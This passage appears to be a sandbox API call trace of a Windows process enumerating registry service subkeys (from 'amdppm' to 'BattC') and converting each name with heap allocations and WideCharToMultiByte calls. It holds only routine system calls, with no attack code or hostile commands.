(HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.747] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x1de4de0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0260.747] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.747] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.747] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.747] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.747] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x17, lpName=0x1dd29e0, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0260.747] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.747] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x1de4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0260.747] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.747] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.747] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.747] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.747] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x18, lpName=0x1dd29e0, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0260.747] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.747] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x1de4de0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0260.747] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.747] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.747] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.747] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.747] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x19, lpName=0x1dd29e0, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0260.748] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.748] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x1de4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0260.748] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.748] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.748] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.748] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.748] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x1a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AppID") returned 0x0 [0260.748] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0260.748] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x1de4de0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0260.748] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.748] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.748] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.748] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.748] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x1b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0260.748] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.748] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x1de4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0260.748] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.748] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.748] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.748] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.748] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x1c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0260.748] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.748] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x1de4de0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0260.748] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.749] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.749] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.749] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.749] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x1d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0260.749] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.749] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x1de4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0260.749] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.749] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.749] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.749] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.749] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x1e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="arc") returned 0x0 [0260.749] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0260.749] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x1de4de0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0260.749] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.749] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.749] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.749] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.749] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x1f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0260.749] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.749] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x1de4408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0260.749] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.749] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.749] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.749] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.749] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x20, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0260.749] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.749] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x1de4de0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0260.750] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.750] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.750] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.750] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.750] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x21, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0260.750] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0260.750] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x1de4408, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0260.750] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.750] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.750] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.750] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.750] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x22, lpName=0x1dd29e0, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0260.750] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0260.750] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x1de4de0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0260.750] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.750] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.750] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.750] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.750] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x23, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0260.750] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.750] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x1de4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0260.750] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.750] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.750] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.750] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.750] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x24, lpName=0x1dd29e0, cchName=0x104 | out: lpName="atapi") returned 0x0 [0260.751] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0260.751] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x1de4de0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0260.751] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.751] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.751] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.751] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.751] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x25, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0260.751] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0260.751] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x1de4408, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0260.751] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.751] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.751] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.751] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.751] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x26, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0260.751] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.751] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x1de4de0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0260.751] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.751] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.751] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.751] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.751] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x27, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0260.751] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.751] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x1de4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0260.751] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.752] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.752] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.752] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.752] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x28, lpName=0x1dd29e0, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0260.752] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.752] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x1de4de0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0260.752] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.752] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.752] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.752] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.752] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x29, lpName=0x1dd29e0, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0260.752] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.752] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x1de4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0260.752] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.752] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.752] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.752] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.752] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x2a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BattC") returned 0x0 [0260.752] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0260.752] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x1de4de0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0260.752] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.752] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.752] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.752] 